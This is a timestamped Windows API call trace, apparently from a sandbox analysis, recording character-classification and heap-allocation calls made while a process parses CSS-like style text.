[0102.872] IsCharSpaceW (wch=0x23) returned 0
[0102.872] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.872] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.872] IsCharSpaceW (wch=0x3b) returned 0
[0102.872] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.872] IsCharSpaceW (wch=0xd) returned 1
[0102.872] IsCharSpaceW (wch=0xa) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x20) returned 1
[0102.872] IsCharSpaceW (wch=0x70) returned 0
[0102.872] IsCharSpaceW (wch=0x38) returned 0
[0102.872] IsCharSpaceW (wch=0x23) returned 0
[0102.872] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4986c8
[0102.872] IsCharSpaceW (wch=0x23) returned 0
[0102.872] IsCharSpaceW (wch=0x23) returned 0
[0102.872] IsCharSpaceW (wch=0x44) returned 0
[0102.872] IsCharSpaceW (wch=0x30) returned 0
[0102.872] IsCharSpaceW (wch=0x44) returned 0
[0102.872] IsCharSpaceW (wch=0x30) returned 0
[0102.873] IsCharSpaceW (wch=0x45) returned 0
[0102.873] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49ede8
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x32) returned 1
[0102.873] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x35) returned 1
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49ede8, Size=0x90) returned 0x4ebc98
[0102.873] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4ebc98, Size=0xd0) returned 0x4ebc98
[0102.873] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.873] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49ede8
[0102.873] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.874] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8328
[0102.874] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.874] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x33) returned 1
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x35) returned 1
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x32) returned 1
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.874] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49ee50
[0102.874] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.875] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x498680, Size=0x18) returned 0x4b8368
[0102.875] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498680
[0102.875] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a06d8
[0102.875] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.875] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8388
[0102.875] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.875] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.875] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.875] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49eeb8
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.876] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x30) returned 1
[0102.876] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.876] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49eeb8, Size=0x90) returned 0x4ebd70
[0102.876] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.876] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b83e8
[0102.876] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.876] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.876] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49eeb8
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.876] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.876] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.877] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.877] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.877] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.877] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49eeb8, Size=0x90) returned 0x4ebe08
[0102.877] IsCharSpaceW (wch=0x73) returned 0
[0102.877] IsCharSpaceW (wch=0x73) returned 0
[0102.877] IsCharSpaceW (wch=0x6f) returned 0
[0102.877] IsCharSpaceW (wch=0x6c) returned 0
[0102.877] IsCharSpaceW (wch=0x69) returned 0
[0102.877] IsCharSpaceW (wch=0x64) returned 0
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x23) returned 0
[0102.877] IsCharSpaceW (wch=0x23) returned 0
[0102.877] IsCharSpaceW (wch=0x46) returned 0
[0102.877] IsCharSpaceW (wch=0x46) returned 0
[0102.877] IsCharSpaceW (wch=0x30) returned 0
[0102.877] IsCharSpaceW (wch=0x30) returned 0
[0102.877] IsCharSpaceW (wch=0x30) returned 0
[0102.877] IsCharSpaceW (wch=0x30) returned 0
[0102.877] IsCharSpaceW (wch=0x23) returned 0
[0102.877] IsCharSpaceW (wch=0x23) returned 0
[0102.877] IsCharSpaceW (wch=0x23) returned 0
[0102.877] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.877] IsCharSpaceW (wch=0xd) returned 1
[0102.877] IsCharSpaceW (wch=0xa) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x20) returned 1
[0102.877] IsCharSpaceW (wch=0x2e) returned 0
[0102.877] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4b8368, Size=0x24) returned 0x4b67c8
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498710
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a0738
[0102.878] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8368
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.878] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x7b) returned 0
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0748
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.878] IsCharSpaceW (wch=0xd) returned 1
[0102.878] IsCharSpaceW (wch=0xa) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x62) returned 0
[0102.878] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.878] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.878] IsCharSpaceW (wch=0x3a) returned 0
[0102.878] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48b0f8
[0102.878] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x31) returned 0
[0102.878] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.878] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x64) returned 0
[0102.878] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.878] IsCharSpaceW (wch=0x20) returned 1
[0102.878] IsCharSpaceW (wch=0x23) returned 0
[0102.878] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.878] IsCharAlphaNumericW (ch=0x30) returned 1
[0102.879] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.879] IsCharSpaceW (wch=0x3b) returned 0
[0102.879] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.879] IsCharSpaceW (wch=0xd) returned 1
[0102.879] IsCharSpaceW (wch=0xa) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x62) returned 0
[0102.879] IsCharSpaceW (wch=0x30) returned 0
[0102.879] IsCharSpaceW (wch=0x31) returned 0
[0102.879] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x20) returned 0x48b120
[0102.879] IsCharSpaceW (wch=0x31) returned 0
[0102.879] IsCharSpaceW (wch=0x31) returned 0
[0102.879] IsCharSpaceW (wch=0x70) returned 0
[0102.879] IsCharSpaceW (wch=0x78) returned 0
[0102.879] IsCharSpaceW (wch=0x20) returned 1
[0102.879] IsCharSpaceW (wch=0x31) returned 0
[0102.879] IsCharSpaceW (wch=0x70) returned 0
[0102.879] IsCharSpaceW (wch=0x70) returned 0
[0102.879] IsCharSpaceW (wch=0x78) returned 0
[0102.879] IsCharSpaceW (wch=0x0) returned 0
[0102.879] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b8448
[0102.879] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4658
[0102.879] IsCharSpaceW (wch=0x64) returned 0
[0102.879] IsCharSpaceW (wch=0x64) returned 0
[0102.879] IsCharSpaceW (wch=0x61) returned 0
[0102.879] IsCharSpaceW (wch=0x73) returned 0
[0102.879] IsCharSpaceW (wch=0x68) returned 0
[0102.880] IsCharSpaceW (wch=0x65) returned 0
[0102.880] IsCharSpaceW (wch=0x64) returned 0
[0102.880] IsCharSpaceW (wch=0x20) returned 1
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x31) returned 0
[0102.880] IsCharSpaceW (wch=0x31) returned 0
[0102.880] IsCharSpaceW (wch=0x70) returned 0
[0102.880] IsCharSpaceW (wch=0x78) returned 0
[0102.880] IsCharSpaceW (wch=0x20) returned 1
[0102.880] IsCharSpaceW (wch=0x31) returned 0
[0102.880] IsCharSpaceW (wch=0x70) returned 0
[0102.880] IsCharSpaceW (wch=0x70) returned 0
[0102.880] IsCharSpaceW (wch=0x78) returned 0
[0102.880] IsCharSpaceW (wch=0x0) returned 0
[0102.880] IsCharSpaceW (wch=0x64) returned 0
[0102.880] IsCharSpaceW (wch=0x64) returned 0
[0102.880] IsCharSpaceW (wch=0x61) returned 0
[0102.880] IsCharSpaceW (wch=0x73) returned 0
[0102.880] IsCharSpaceW (wch=0x68) returned 0
[0102.880] IsCharSpaceW (wch=0x65) returned 0
[0102.880] IsCharSpaceW (wch=0x64) returned 0
[0102.880] IsCharSpaceW (wch=0x20) returned 1
[0102.880] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49eeb8
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x30) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.880] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x31) returned 0
[0102.881] IsCharSpaceW (wch=0x31) returned 0
[0102.881] IsCharSpaceW (wch=0x70) returned 0
[0102.881] IsCharSpaceW (wch=0x78) returned 0
[0102.881] IsCharSpaceW (wch=0x20) returned 1
[0102.881] IsCharSpaceW (wch=0x31) returned 0
[0102.881] IsCharSpaceW (wch=0x70) returned 0
[0102.881] IsCharSpaceW (wch=0x70) returned 0
[0102.881] IsCharSpaceW (wch=0x78) returned 0
[0102.881] IsCharSpaceW (wch=0x0) returned 0
[0102.881] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x49eeb8, Size=0x90) returned 0x4ebea0
[0102.881] IsCharSpaceW (wch=0x64) returned 0
[0102.881] IsCharSpaceW (wch=0x64) returned 0
[0102.881] IsCharSpaceW (wch=0x61) returned 0
[0102.881] IsCharSpaceW (wch=0x73) returned 0
[0102.881] IsCharSpaceW (wch=0x68) returned 0
[0102.881] IsCharSpaceW (wch=0x65) returned 0
[0102.881] IsCharSpaceW (wch=0x64) returned 0
[0102.881] IsCharSpaceW (wch=0x20) returned 1
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x30) returned 0
[0102.881] IsCharSpaceW (wch=0x30) returned 0
[0102.881] IsCharSpaceW (wch=0x30) returned 0
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x23) returned 0
[0102.881] IsCharSpaceW (wch=0x31) returned 0
[0102.882] IsCharSpaceW (wch=0x31) returned 0
[0102.882] IsCharSpaceW (wch=0x70) returned 0
[0102.882] IsCharSpaceW (wch=0x78) returned 0
[0102.882] IsCharSpaceW (wch=0x20) returned 1
[0102.882] IsCharSpaceW (wch=0x31) returned 0
[0102.882] IsCharSpaceW (wch=0x70) returned 0
[0102.882] IsCharSpaceW (wch=0x70) returned 0
[0102.882] IsCharSpaceW (wch=0x78) returned 0
[0102.882] IsCharSpaceW (wch=0x0) returned 0
[0102.882] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4ebea0, Size=0xd0) returned 0x4ebea0
[0102.882] IsCharSpaceW (wch=0x64) returned 0
[0102.882] IsCharSpaceW (wch=0x64) returned 0
[0102.882] IsCharSpaceW (wch=0x61) returned 0
[0102.882] IsCharSpaceW (wch=0x73) returned 0
[0102.882] IsCharSpaceW (wch=0x68) returned 0
[0102.882] IsCharSpaceW (wch=0x65) returned 0
[0102.882] IsCharSpaceW (wch=0x64) returned 0
[0102.882] IsCharSpaceW (wch=0x20) returned 1
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharSpaceW (wch=0x30) returned 0
[0102.882] IsCharSpaceW (wch=0x30) returned 0
[0102.882] IsCharSpaceW (wch=0x30) returned 0
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.882] IsCharSpaceW (wch=0x3a) returned 0
[0102.882] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.882] IsCharSpaceW (wch=0x20) returned 1
[0102.882] IsCharSpaceW (wch=0x23) returned 0
[0102.882] IsCharAlphaNumericW (ch=0x23) returned 0
[0102.882] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.882] IsCharSpaceW (wch=0x3b) returned 0
[0102.882] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.882] IsCharSpaceW (wch=0xd) returned 1
[0102.883] IsCharSpaceW (wch=0xa) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x7d) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x23) returned 0
[0102.883] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498728
[0102.883] IsCharSpaceW (wch=0x23) returned 0
[0102.883] IsCharSpaceW (wch=0x23) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x45) returned 0
[0102.883] IsCharSpaceW (wch=0x46) returned 0
[0102.883] IsCharSpaceW (wch=0x23) returned 0
[0102.883] IsCharSpaceW (wch=0x30) returned 0
[0102.883] IsCharSpaceW (wch=0x25) returned 0
[0102.883] IsCharSpaceW (wch=0x25) returned 0
[0102.883] IsCharSpaceW (wch=0x0) returned 0
[0102.883] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4ebea0, Size=0x130) returned 0x4ebea0
[0102.883] IsCharSpaceW (wch=0x30) returned 0
[0102.883] IsCharSpaceW (wch=0x25) returned 0
[0102.883] IsCharSpaceW (wch=0x25) returned 0
[0102.883] IsCharSpaceW (wch=0x0) returned 0
[0102.883] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.883] IsCharSpaceW (wch=0xd) returned 1
[0102.883] IsCharSpaceW (wch=0xa) returned 1
[0102.883] IsCharSpaceW (wch=0xd) returned 1
[0102.883] IsCharSpaceW (wch=0xa) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.883] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x2e) returned 0
[0102.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498728
[0102.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x4) returned 0x4a0768
[0102.884] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b8468
[0102.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.884] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x7b) returned 0
[0102.884] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x8) returned 0x4a0778
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.884] IsCharSpaceW (wch=0xd) returned 1
[0102.884] IsCharSpaceW (wch=0xa) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.884] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x68) returned 0
[0102.885] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.885] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.885] IsCharSpaceW (wch=0x3a) returned 0
[0102.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x1c) returned 0x48b120
[0102.885] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x61) returned 0
[0102.885] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.885] IsCharSpaceW (wch=0x3b) returned 0
[0102.885] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.885] IsCharSpaceW (wch=0xd) returned 1
[0102.885] IsCharSpaceW (wch=0xa) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x70) returned 0
[0102.885] IsCharSpaceW (wch=0x6f) returned 0
[0102.885] IsCharSpaceW (wch=0x61) returned 0
[0102.885] IsCharSpaceW (wch=0x61) returned 0
[0102.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x14) returned 0x4b84a8
[0102.885] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x4a4658
[0102.885] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.885] IsCharSpaceW (wch=0x3a) returned 0
[0102.885] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.885] IsCharSpaceW (wch=0x20) returned 1
[0102.885] IsCharSpaceW (wch=0x31) returned 0
[0102.885] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.885] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.885] IsCharSpaceW (wch=0x3b) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.886] IsCharSpaceW (wch=0xd) returned 1
[0102.886] IsCharSpaceW (wch=0xa) returned 1
[0102.886] IsCharSpaceW (wch=0x20) returned 1
[0102.886] IsCharSpaceW (wch=0x20) returned 1
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.886] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x30) returned 1
[0102.886] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.886] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4a4658, Size=0x60) returned 0x49eeb8
[0102.886] IsCharAlphaNumericW (ch=0x7d) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b84c8
[0102.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.886] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x2e) returned 0
[0102.886] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x497c10 | out: hHeap=0x450000) returned 1
[0102.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4b84e8
[0102.886] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x50) returned 0x497c10
[0102.886] IsCharAlphaNumericW (ch=0x20) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x7b) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.886] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x31) returned 1
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3a) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x33) returned 1
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
[0102.887] IsCharAlphaNumericW (ch=0x3b) returned 0
